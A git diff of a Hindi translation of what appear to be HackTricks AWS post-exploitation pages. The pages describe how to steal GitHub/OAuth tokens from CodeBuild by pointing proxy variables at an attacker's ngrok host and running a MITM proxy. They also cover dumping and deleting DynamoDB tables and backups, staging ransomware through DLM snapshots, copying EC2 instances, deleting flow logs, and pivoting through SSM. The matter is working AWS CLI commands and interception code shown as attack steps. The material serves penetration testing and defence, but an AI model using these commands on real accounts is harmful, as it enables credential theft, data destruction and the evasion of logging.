-यदि आप पाते हैं कि उदाहरण के लिए Github के लिए प्रमाणीकरण खाते में सेट है, तो आप **exfiltrate** उस **access** (**GH token या OAuth token**) को **specific docker image** का उपयोग करके प्रोजेक्ट के निर्माण को चलाने के लिए Codebuild को बना सकते हैं।
+यदि आप पाते हैं कि उदाहरण के लिए Github के लिए प्रमाणीकरण खाते में सेट है, तो आप **exfiltrate** उस **access** (**GH token या OAuth token**) को कोडबिल्ड को **एक विशिष्ट डॉकर इमेज** का उपयोग करके प्रोजेक्ट के निर्माण को चलाने के लिए बना सकते हैं।
-इसके लिए आप **एक नया Codebuild प्रोजेक्ट** बना सकते हैं या **Docker image** सेट करने के लिए एक मौजूदा प्रोजेक्ट के **environment** को बदल सकते हैं।
+इसके लिए आप **एक नया Codebuild प्रोजेक्ट** बना सकते हैं या **Docker image** सेट करने के लिए मौजूदा एक का **environment** बदल सकते हैं।
-आप जो Docker image उपयोग कर सकते हैं वह है [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)। यह एक बहुत ही बुनियादी Docker image है जो **env variables `https_proxy`**, **`http_proxy`** और **`SSL_CERT_FILE`** सेट करेगा। यह आपको **`https_proxy`** और **`http_proxy`** में निर्दिष्ट होस्ट के अधिकांश ट्रैफ़िक को इंटरसेप्ट करने और **`SSL_CERT_FILE`** में निर्दिष्ट SSL CERT पर भरोसा करने की अनुमति देगा।
+आप जो Docker image उपयोग कर सकते हैं वह है [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)। यह एक बहुत ही बुनियादी Docker image है जो **env variables `https_proxy`**, **`http_proxy`** और **`SSL_CERT_FILE`** सेट करेगा। यह आपको **`https_proxy`** और **`http_proxy`** में निर्दिष्ट होस्ट के अधिकांश ट्रैफ़िक को इंटरसेप्ट करने की अनुमति देगा और **`SSL_CERT_FILE`** में निर्दिष्ट SSL CERT पर भरोसा करेगा।
1. **Create & Upload your own Docker MitM image**
- अपने प्रॉक्सी IP पते को सेट करने और अपने SSL cert को सेट करने के लिए repo के निर्देशों का पालन करें और **docker image बनाएं**।
-- **`http_proxy`** सेट न करें ताकि मेटाडेटा एंडपॉइंट के लिए अनुरोधों को इंटरसेप्ट न किया जा सके।
-- आप **`ngrok`** का उपयोग कर सकते हैं जैसे `ngrok tcp 4444` अपने होस्ट के लिए प्रॉक्सी सेट करने के लिए।
-- एक बार जब आपके पास Docker image बन जाए, तो **इसे एक सार्वजनिक repo** (Dockerhub, ECR...) पर **अपलोड करें**।
+- **DO NOT SET `http_proxy`** ताकि मेटाडेटा एंडपॉइंट के लिए अनुरोधों को इंटरसेप्ट न किया जा सके।
+- आप **`ngrok`** का उपयोग कर सकते हैं जैसे `ngrok tcp 4444` अपने होस्ट के लिए प्रॉक्सी सेट करने के लिए
+- एक बार जब आपके पास Docker image बन जाए, तो **इसे एक सार्वजनिक repo** (Dockerhub, ECR...) पर **upload** करें।
2. **Set the environment**
-- **एक नया Codebuild प्रोजेक्ट** बनाएं या एक मौजूदा प्रोजेक्ट के वातावरण को **संशोधित** करें।
+- **एक नया Codebuild प्रोजेक्ट** बनाएं या मौजूदा एक के environment को **संशोधित** करें।
- प्रोजेक्ट को **पूर्व में उत्पन्न Docker image** का उपयोग करने के लिए सेट करें।
@@ -34,7 +34,7 @@ aws codebuild list-source-credentials
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
> [!TIP]
-> **mitmproxy संस्करण 9.0.1 का उपयोग किया गया था**, रिपोर्ट किया गया था कि संस्करण 10 के साथ यह काम नहीं कर सकता।
+> **mitmproxy संस्करण 9.0.1** का उपयोग किया गया था, रिपोर्ट किया गया था कि संस्करण 10 के साथ यह काम नहीं कर सकता।
4. **बिल्ड चलाएँ और क्रेडेंशियल्स कैप्चर करें**
@@ -42,7 +42,7 @@ mitmproxy --listen-port 4444 --allow-hosts "github.com"
-यह aws cli से कुछ इस तरह भी किया जा सकता है
+यह aws cli से कुछ इस तरह किया जा सकता है
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
@@ -74,14 +74,14 @@ aws codebuild start-build --project-name my-project2
### Via insecureSSL
**Codebuild** प्रोजेक्ट्स में एक सेटिंग होती है जिसे **`insecureSsl`** कहा जाता है जो वेब में छिपी होती है, आप इसे केवल API से बदल सकते हैं।\
-इसे सक्षम करने से, Codebuild को प्लेटफॉर्म द्वारा प्रदान किए गए प्रमाणपत्र की **जांच किए बिना** रिपॉजिटरी से कनेक्ट करने की अनुमति मिलती है।
+इसे सक्षम करने से, Codebuild को प्लेटफ़ॉर्म द्वारा प्रदान किए गए प्रमाणपत्र की **जांच किए बिना** रिपॉजिटरी से कनेक्ट करने की अनुमति मिलती है।
- सबसे पहले, आपको वर्तमान कॉन्फ़िगरेशन को कुछ इस तरह से सूचीबद्ध करने की आवश्यकता है:
```bash
aws codebuild batch-get-projects --name
```
- फिर, एकत्रित जानकारी के साथ आप प्रोजेक्ट सेटिंग **`insecureSsl`** को **`True`** में अपडेट कर सकते हैं। निम्नलिखित मेरे प्रोजेक्ट को अपडेट करने का एक उदाहरण है, अंत में **`insecureSsl=True`** पर ध्यान दें (यह एकमात्र चीज है जिसे आपको एकत्रित कॉन्फ़िगरेशन से बदलने की आवश्यकता है)।
-- इसके अलावा, env वेरिएबल **http_proxy** और **https_proxy** को अपने tcp ngrok की ओर इंगित करते हुए जोड़ें जैसे:
+- इसके अलावा, env वेरिएबल **http_proxy** और **https_proxy** को भी जोड़ें जो आपके tcp ngrok की ओर इशारा करते हैं जैसे:
```bash
aws codebuild update-project --name \
--source '{
@@ -128,15 +128,15 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-- अंत में, **प्रोजेक्ट बनाएं** पर क्लिक करें, **क्रेडेंशियल्स** **स्पष्ट पाठ** (base64) में mitm पोर्ट पर **भेजे जाएंगे**:
+- अंत में, **Build the project** पर क्लिक करें, **credentials** **स्पष्ट पाठ** (base64) में mitm पोर्ट पर **भेजे जाएंगे**:
### ~~HTTP प्रोटोकॉल के माध्यम से~~
-> [!TIP] > **यह कमजोरियों को AWS ने 20 फरवरी 2023 के सप्ताह में किसी समय (मुझे लगता है कि शुक्रवार को) ठीक किया। इसलिए एक हमलावर इसका दुरुपयोग नहीं कर सकता :)**
+> [!TIP] > **यह कमजोरियों को AWS ने 2023 के 20 फरवरी के सप्ताह में किसी समय (मुझे लगता है कि शुक्रवार को) ठीक किया। इसलिए एक हमलावर इसका दुरुपयोग नहीं कर सकता :)**
-एक हमलावर जिसके पास **CodeBuild में उच्च अनुमतियाँ हैं, वह Github/Bitbucket टोकन** लीक कर सकता है जो कॉन्फ़िगर किया गया है या यदि अनुमतियाँ OAuth के माध्यम से कॉन्फ़िगर की गई हैं, तो **कोड तक पहुँचने के लिए उपयोग किया जाने वाला अस्थायी OAuth टोकन**।
+एक हमलावर के पास **CodeBuild में उच्च अनुमतियाँ होने पर Github/Bitbucket टोकन** लीक हो सकता है जो कॉन्फ़िगर किया गया है या यदि अनुमतियाँ OAuth के माध्यम से कॉन्फ़िगर की गई हैं, तो **कोड तक पहुँचने के लिए उपयोग किया जाने वाला अस्थायी OAuth टोकन**।
- एक हमलावर **http_proxy** और **https_proxy** पर्यावरण चर को CodeBuild प्रोजेक्ट में जोड़ सकता है जो उसकी मशीन की ओर इशारा करता है (उदाहरण के लिए `http://5.tcp.eu.ngrok.io:14972`)।
@@ -144,8 +144,8 @@ mitm.run()
-- फिर, गिटहब रेपो का URL HTTP का उपयोग करने के लिए बदलें, HTTPS के बजाय, उदाहरण के लिए: `http://github.com/carlospolop-forks/TestActions`
-- फिर, प्रॉक्सी चर (http_proxy और https_proxy) द्वारा इंगित पोर्ट में [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) से बुनियादी उदाहरण चलाएं।
+- फिर, github repo का URL HTTP का उपयोग करने के लिए बदलें बजाय HTTPS के, उदाहरण के लिए: `http://github.com/carlospolop-forks/TestActions`
+- फिर, प्रॉक्सी चर (http_proxy और https_proxy) द्वारा इंगित पोर्ट में [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) से बुनियादी उदाहरण चलाएँ।
```python
from mitm import MITM, protocol, middleware, crypto
@@ -158,7 +158,7 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-- अगला, **प्रोजेक्ट का निर्माण करें** पर क्लिक करें या कमांड लाइन से निर्माण शुरू करें:
+- अगला, **प्रोजेक्ट बनाएं** पर क्लिक करें या कमांड लाइन से निर्माण शुरू करें:
```sh
aws codebuild start-build --project-name
```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
index ec4449a0a..6d1bc4c18 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - DLM Post Exploitation
+# AWS - DLM पोस्ट एक्सप्लोइटेशन
{{#include ../../../banners/hacktricks-training.md}}
@@ -8,11 +8,11 @@
एक रैनसमवेयर हमला तब किया जा सकता है जब जितने संभव हो सके EBS वॉल्यूम को एन्क्रिप्ट किया जाए और फिर वर्तमान EC2 इंस्टेंस, EBS वॉल्यूम और स्नैपशॉट को मिटा दिया जाए। इस दुर्भावनापूर्ण गतिविधि को स्वचालित करने के लिए, कोई Amazon DLM का उपयोग कर सकता है, स्नैपशॉट को दूसरे AWS खाते से KMS कुंजी के साथ एन्क्रिप्ट करके और एन्क्रिप्टेड स्नैपशॉट को एक अलग खाते में स्थानांतरित करके। वैकल्पिक रूप से, वे बिना एन्क्रिप्शन के स्नैपशॉट को एक ऐसे खाते में स्थानांतरित कर सकते हैं जिसे वे प्रबंधित करते हैं और फिर वहां उन्हें एन्क्रिप्ट कर सकते हैं। हालांकि मौजूदा EBS वॉल्यूम या स्नैपशॉट को सीधे एन्क्रिप्ट करना सीधा नहीं है, लेकिन एक नया वॉल्यूम या स्नैपशॉट बनाकर ऐसा करना संभव है।
-सबसे पहले, कोई वॉल्यूम के बारे में जानकारी इकट्ठा करने के लिए एक कमांड का उपयोग करेगा, जैसे कि इंस्टेंस ID, वॉल्यूम ID, एन्क्रिप्शन स्थिति, अटैचमेंट स्थिति, और वॉल्यूम प्रकार।
+सबसे पहले, कोई वॉल्यूम पर जानकारी इकट्ठा करने के लिए एक कमांड का उपयोग करेगा, जैसे कि इंस्टेंस ID, वॉल्यूम ID, एन्क्रिप्शन स्थिति, अटैचमेंट स्थिति, और वॉल्यूम प्रकार।
`aws ec2 describe-volumes`
-दूसरे, कोई लाइफसाइकिल नीति बनाएगा। यह कमांड DLM API का उपयोग करके एक लाइफसाइकिल नीति स्थापित करता है जो निर्दिष्ट वॉल्यूम के दैनिक स्नैपशॉट को एक निर्धारित समय पर स्वचालित रूप से लेता है। यह स्नैपशॉट पर विशिष्ट टैग भी लागू करता है और वॉल्यूम से स्नैपशॉट पर टैग की नकल करता है। policyDetails.json फ़ाइल में लाइफसाइकिल नीति के विवरण शामिल हैं, जैसे लक्षित टैग, कार्यक्रम, एन्क्रिप्शन के लिए वैकल्पिक KMS कुंजी का ARN, और स्नैपशॉट साझा करने के लिए लक्षित खाता, जिसे पीड़ित के CloudTrail लॉग में रिकॉर्ड किया जाएगा।
+दूसरे, कोई लाइफसाइकिल नीति बनाएगा। यह कमांड DLM API का उपयोग करके एक लाइफसाइकिल नीति स्थापित करता है जो निर्दिष्ट वॉल्यूम के दैनिक स्नैपशॉट को एक निर्धारित समय पर स्वचालित रूप से लेता है। यह स्नैपशॉट पर विशिष्ट टैग भी लागू करता है और वॉल्यूम से स्नैपशॉट पर टैग की नकल करता है। policyDetails.json फ़ाइल में लाइफसाइकिल नीति के विवरण शामिल होते हैं, जैसे कि लक्षित टैग, कार्यक्रम, एन्क्रिप्शन के लिए वैकल्पिक KMS कुंजी का ARN, और स्नैपशॉट साझा करने के लिए लक्षित खाता, जिसे पीड़ित के CloudTrail लॉग में रिकॉर्ड किया जाएगा।
```bash
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
index b1b0084a4..66d58b4f0 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
@@ -12,7 +12,7 @@
### `dynamodb:BatchGetItem`
-इस अनुमति के साथ एक हमलावर **प्राथमिक कुंजी द्वारा तालिकाओं से आइटम प्राप्त करने में सक्षम होगा** (आप तालिका के सभी डेटा के लिए बस नहीं पूछ सकते)। इसका मतलब है कि आपको प्राथमिक कुंजी जानने की आवश्यकता है (आप इसे तालिका के मेटाडेटा (`describe-table`) प्राप्त करके प्राप्त कर सकते हैं)।
+इस अनुमति के साथ एक हमलावर **प्राथमिक कुंजी द्वारा तालिकाओं से आइटम प्राप्त करने में सक्षम होगा** (आप तालिका के सभी डेटा के लिए बस नहीं पूछ सकते)। इसका मतलब है कि आपको प्राथमिक कुंजी पता होनी चाहिए (आप इसे तालिका के मेटाडेटा (`describe-table`) प्राप्त करके जान सकते हैं)।
{{#tabs }}
{{#tab name="json file" }}
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
{{#endtab }}
{{#endtabs }}
-**संभावित प्रभाव:** तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क
+**संभावित प्रभाव:** तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिविलेज वृद्धि
### `dynamodb:GetItem`
-**पिछले अनुमतियों के समान** यह एक संभावित हमलावर को केवल 1 तालिका से मान पढ़ने की अनुमति देता है, जो कि पुनः प्राप्त करने के लिए प्रविष्टि की प्राथमिक कुंजी दी गई है:
+**पिछले अनुमतियों के समान** यह एक संभावित हमलावर को केवल 1 तालिका से मान पढ़ने की अनुमति देता है, जो कि पुनर्प्राप्त करने के लिए प्रविष्टि की प्राथमिक कुंजी दी गई है:
```json
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
@@ -79,7 +79,7 @@ aws dynamodb transact-get-items \
### `dynamodb:Query`
-**पिछले अनुमतियों के समान** यह एक संभावित हमलावर को केवल 1 तालिका से मान पढ़ने की अनुमति देता है, जो कि पुनर्प्राप्त करने के लिए प्रविष्टि की प्राथमिक कुंजी दी गई है। यह [तुलनाओं का एक उपसमुच्चय](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) उपयोग करने की अनुमति देता है, लेकिन प्राथमिक कुंजी के साथ केवल "EQ" की तुलना की अनुमति है (जो कि उपस्थित होनी चाहिए), इसलिए आप एक अनुरोध में पूरे DB को प्राप्त करने के लिए तुलना का उपयोग नहीं कर सकते।
+**पिछले अनुमतियों के समान** यह एक संभावित हमलावर को केवल 1 तालिका से मान पढ़ने की अनुमति देता है, जो कि पुनर्प्राप्त करने के लिए प्रविष्टि की प्राथमिक कुंजी दी गई है। यह [तुलनाओं का एक उपसमुच्चय](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) उपयोग करने की अनुमति देता है, लेकिन प्राथमिक कुंजी के साथ केवल "EQ" तुलना की अनुमति है (जो कि प्रकट होनी चाहिए), इसलिए आप एक अनुरोध में पूरे DB को प्राप्त करने के लिए तुलना का उपयोग नहीं कर सकते।
{{#tabs }}
{{#tab name="json file" }}
@@ -107,15 +107,15 @@ aws dynamodb query \
{{#endtab }}
{{#endtabs }}
-**संभावित प्रभाव:** तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क
+**संभावित प्रभाव:** तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिविलेज वृद्धि
### `dynamodb:Scan`
-आप इस अनुमति का उपयोग करके **पूरी तालिका को आसानी से डंप कर सकते हैं**।
+आप इस अनुमति का उपयोग **पूरी तालिका को आसानी से डंप करने** के लिए कर सकते हैं।
```bash
aws dynamodb scan --table-name #Get data inside the table
```
-**संभावित प्रभाव:** तालिका में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष प्रिवेस्क
+**संभावित प्रभाव:** तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क
### `dynamodb:PartiQLSelect`
@@ -129,13 +129,13 @@ aws dynamodb execute-statement \
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
```
-लेकिन आपको एक मान के साथ प्राथमिक कुंजी निर्दिष्ट करने की आवश्यकता है, इसलिए यह इतना उपयोगी नहीं है।
+लेकिन आपको एक मान के साथ प्राथमिक कुंजी निर्दिष्ट करनी होगी, इसलिए यह इतना उपयोगी नहीं है।
**संभावित प्रभाव:** तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
-यह अनुमति एक हमलावर को **पूरी तालिका को उसके चयन के S3 बकेट में निर्यात** करने की अनुमति देगी:
+यह अनुमति एक हमलावर को **S3 बकेट** में पूरी तालिका को **निर्यात** करने की अनुमति देगी:
```bash
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:::table/TargetTable \
@@ -149,13 +149,13 @@ aws dynamodb export-table-to-point-in-time \
aws dynamodb describe-continuous-backups \
--table-name
```
-यदि यह सक्षम नहीं है, तो आपको **इसे सक्षम करना होगा** और इसके लिए आपको **`dynamodb:ExportTableToPointInTime`** अनुमति की आवश्यकता है:
+यदि यह सक्षम नहीं है, तो आपको इसे **सक्षम करना** होगा और इसके लिए आपको **`dynamodb:ExportTableToPointInTime`** अनुमति की आवश्यकता है:
```bash
aws dynamodb update-continuous-backups \
--table-name \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
```
-**संभावित प्रभाव:** तालिका में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष प्रिवेस्क
+**संभावित प्रभाव:** तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
@@ -166,7 +166,7 @@ aws dynamodb restore-table-from-backup \
--target-table-name \
--region
```
-**संभावित प्रभाव:** तालिका बैकअप में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष प्रिवेस्क
+**संभावित प्रभाव:** तालिका बैकअप में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क
### `dynamodb:PutItem`
@@ -206,7 +206,7 @@ aws dynamodb put-item \
### `dynamodb:UpdateItem`
-यह अनुमति उपयोगकर्ताओं को **एक आइटम के मौजूदा गुणों को संशोधित करने या एक आइटम में नए गुण जोड़ने** की अनुमति देती है। यह **पूरे आइटम को प्रतिस्थापित** नहीं करती; यह केवल निर्दिष्ट गुणों को अपडेट करती है। यदि प्राथमिक कुंजी तालिका में मौजूद नहीं है, तो यह क्रिया **निर्दिष्ट प्राथमिक कुंजी के साथ एक नया आइटम बनाएगी** और अपडेट अभिव्यक्ति में निर्दिष्ट गुणों को सेट करेगी।
+यह अनुमति उपयोगकर्ताओं को **एक आइटम के मौजूदा गुणों को संशोधित करने या एक आइटम में नए गुण जोड़ने** की अनुमति देती है। यह **पूरे आइटम को प्रतिस्थापित** नहीं करती; यह केवल निर्दिष्ट गुणों को अपडेट करती है। यदि प्राथमिक कुंजी तालिका में मौजूद नहीं है, तो यह क्रिया निर्दिष्ट प्राथमिक कुंजी के साथ **एक नया आइटम बनाएगी** और अपडेट अभिव्यक्ति में निर्दिष्ट गुणों को सेट करेगी।
{{#tabs }}
{{#tab name="XSS Example" }}
@@ -242,21 +242,21 @@ aws dynamodb update-item \
{{#endtab }}
{{#endtabs }}
-**संभावित प्रभाव:** DynamoDB तालिका में डेटा जोड़ने/संशोधित करने में सक्षम होने के कारण आगे की कमजोरियों/बायपास का शोषण
+**संभावित प्रभाव:** एक DynamoDB तालिका में डेटा जोड़ने/संशोधित करने में सक्षम होने के कारण आगे की कमजोरियों/बायपास का शोषण
### `dynamodb:DeleteTable`
-इस अनुमति के साथ एक हमलावर **DynamoDB तालिका को हटा सकता है, जिससे डेटा हानि होती है**।
+इस अनुमति के साथ एक हमलावर **एक DynamoDB तालिका को हटा सकता है, जिससे डेटा हानि होती है**।
```bash
aws dynamodb delete-table \
--table-name TargetTable \
--region
```
-**संभावित प्रभाव**: डेटा हानि और हटाए गए तालिका पर निर्भर सेवाओं का विघटन।
+**संभावित प्रभाव**: डेटा हानि और हटाए गए तालिका पर निर्भर सेवाओं में व्यवधान।
### `dynamodb:DeleteBackup`
-इस अनुमति के साथ एक हमलावर **एक DynamoDB बैकअप को हटा सकता है, जो आपदा पुनर्प्राप्ति परिदृश्य में डेटा हानि का कारण बन सकता है**।
+इस अनुमति के साथ एक हमलावर **DynamoDB बैकअप को हटा सकता है, जो आपदा पुनर्प्राप्ति परिदृश्य के मामले में डेटा हानि का कारण बन सकता है**।
```bash
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
index d445ead29..15a77374f 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
@@ -1,4 +1,4 @@
-# AWS - EC2, EBS, SSM & VPC Post Exploitation
+# AWS - EC2, EBS, SSM & VPC पोस्ट एक्सप्लोइटेशन
{{#include ../../../../banners/hacktricks-training.md}}
@@ -10,10 +10,10 @@
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}
-### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
+### **दुष्ट VPC मिरर -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
-VPC ट्रैफ़िक मिररिंग **VPC के भीतर EC2 इंस्टेंस के लिए इनबाउंड और आउटबाउंड ट्रैफ़िक को डुप्लिकेट करती है** बिना इंस्टेंस पर कुछ भी स्थापित किए। यह डुप्लिकेट ट्रैफ़िक आमतौर पर विश्लेषण और निगरानी के लिए नेटवर्क इंट्रूज़न डिटेक्शन सिस्टम (IDS) जैसी किसी चीज़ पर भेजा जाएगा।\
-एक हमलावर इसका दुरुपयोग करके सभी ट्रैफ़िक को कैप्चर कर सकता है और इससे संवेदनशील जानकारी प्राप्त कर सकता है:
+VPC ट्रैफिक मिररिंग **VPC के भीतर EC2 इंस्टेंस के लिए इनबाउंड और आउटबाउंड ट्रैफिक को डुप्लिकेट करती है** बिना इंस्टेंस पर कुछ भी इंस्टॉल किए। यह डुप्लिकेटेड ट्रैफिक आमतौर पर विश्लेषण और निगरानी के लिए नेटवर्क इंट्रूजन डिटेक्शन सिस्टम (IDS) जैसी किसी चीज़ पर भेजा जाएगा।\
+एक हमलावर इसका दुरुपयोग करके सभी ट्रैफिक को कैप्चर कर सकता है और इससे संवेदनशील जानकारी प्राप्त कर सकता है:
अधिक जानकारी के लिए इस पृष्ठ को देखें:
@@ -21,9 +21,9 @@ VPC ट्रैफ़िक मिररिंग **VPC के भीतर EC2
aws-malicious-vpc-mirror.md
{{#endref}}
-### Copy Running Instance
+### चल रहे इंस्टेंस की कॉपी
-इंस्टेंस आमतौर पर कुछ प्रकार की संवेदनशील जानकारी रखते हैं। अंदर जाने के विभिन्न तरीके हैं (देखें [EC2 विशेषाधिकार वृद्धि तकनीक](../../aws-privilege-escalation/aws-ec2-privesc.md)). हालाँकि, यह जांचने का एक और तरीका है कि इसमें क्या है **एक AMI बनाना और इससे एक नया इंस्टेंस चलाना (यहां तक कि अपने स्वयं के खाते में)**:
+इंस्टेंस आमतौर पर कुछ प्रकार की संवेदनशील जानकारी रखते हैं। अंदर जाने के विभिन्न तरीके हैं (देखें [EC2 विशेषाधिकार वृद्धि ट्रिक्स](../../aws-privilege-escalation/aws-ec2-privesc.md))। हालाँकि, यह जांचने का एक और तरीका है कि इसमें क्या है, **एक AMI बनाना और इससे एक नया इंस्टेंस चलाना (यहां तक कि अपने स्वयं के खाते में)**:
```shell
# List instances
aws ec2 describe-images
@@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
```
### EBS Snapshot dump
-**Snapshots हैं वॉल्यूम के बैकअप**, जो आमतौर पर **संवेदनशील जानकारी** रखेंगे, इसलिए इन्हें चेक करने से यह जानकारी प्रकट होनी चाहिए।\
-यदि आप एक **वॉल्यूम बिना स्नैपशॉट** के पाते हैं तो आप: **एक स्नैपशॉट बनाएँ** और निम्नलिखित क्रियाएँ करें या बस **इसे एक इंस्टेंस में माउंट करें** खाते के अंदर:
+**Snapshots वॉल्यूम के बैकअप हैं**, जो आमतौर पर **संवेदनशील जानकारी** रखेंगे, इसलिए इन्हें चेक करने से यह जानकारी प्रकट होनी चाहिए।\
+यदि आप एक **वॉल्यूम बिना स्नैपशॉट** के पाते हैं, तो आप: **एक स्नैपशॉट बनाएँ** और निम्नलिखित क्रियाएँ करें या बस **इसे एक इंस्टेंस में माउंट करें** खाते के अंदर:
{{#ref}}
aws-ebs-snapshot-dump.md
@@ -60,17 +60,17 @@ aws-ebs-snapshot-dump.md
#### DNS Exfiltration
-भले ही आप एक EC2 को इस तरह लॉक कर दें कि कोई ट्रैफिक बाहर न जा सके, यह अभी भी **DNS के माध्यम से एक्सफिल्ट्रेट** कर सकता है।
+भले ही आप एक EC2 को इस तरह लॉक कर दें कि कोई ट्रैफ़िक बाहर न जा सके, यह अभी भी **DNS के माध्यम से एक्सफिल्ट्रेट** कर सकता है।
- **VPC फ्लो लॉग इसे रिकॉर्ड नहीं करेंगे**।
-- आपके पास AWS DNS लॉग्स तक पहुँच नहीं है।
+- आपके पास AWS DNS लॉग का कोई एक्सेस नहीं है।
- इसे "enableDnsSupport" को false सेट करके बंद करें:
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id `
#### Exfiltration via API calls
-एक हमलावर एक खाते के API एंडपॉइंट्स को कॉल कर सकता है जिसे वह नियंत्रित करता है। क्लाउडट्रेल इन कॉल्स को लॉग करेगा और हमलावर क्लाउडट्रेल लॉग्स में एक्सफिल्ट्रेट डेटा देख सकेगा।
+एक हमलावर एक खाते के API एंडपॉइंट्स को कॉल कर सकता है जिसे वह नियंत्रित करता है। Cloudtrail इन कॉल्स को लॉग करेगा और हमलावर Cloudtrail लॉग में एक्सफिल्ट्रेट की गई जानकारी देख सकेगा।
### Open Security Group
@@ -89,24 +89,24 @@ For [**more information check this**](../../aws-privilege-escalation/aws-ec2-pri
```bash
aws ec2 delete-flow-logs --flow-log-ids --region
```
-### SSM Port Forwarding
+### SSM पोर्ट फॉरवर्डिंग
-Required permissions:
+आवश्यक अनुमतियाँ:
- `ssm:StartSession`
-कमांड निष्पादन के अलावा, SSM ट्रैफ़िक टनलिंग की अनुमति देता है जिसे उन EC2 उदाहरणों से पिवट करने के लिए दुरुपयोग किया जा सकता है जिनके पास सुरक्षा समूहों या NACLs के कारण नेटवर्क पहुंच नहीं है। यह एक परिदृश्य है जहां यह उपयोगी है, [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) से एक निजी EKS क्लस्टर में पिवट करना।
+कमांड निष्पादन के अलावा, SSM ट्रैफ़िक टनलिंग की अनुमति देता है जिसे उन EC2 उदाहरणों से पिवट करने के लिए दुरुपयोग किया जा सकता है जिनका नेटवर्क एक्सेस सुरक्षा समूहों या NACLs के कारण नहीं है। यह एक परिदृश्य है जहाँ यह उपयोगी है, [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) से एक निजी EKS क्लस्टर में पिवट करना।
-> एक सत्र शुरू करने के लिए आपको SessionManagerPlugin स्थापित करने की आवश्यकता है: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
+> सत्र शुरू करने के लिए आपको SessionManagerPlugin स्थापित करना होगा: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
1. अपने मशीन पर SessionManagerPlugin स्थापित करें
2. निम्नलिखित कमांड का उपयोग करके Bastion EC2 में लॉग इन करें:
```shell
aws ssm start-session --target "$INSTANCE_ID"
```
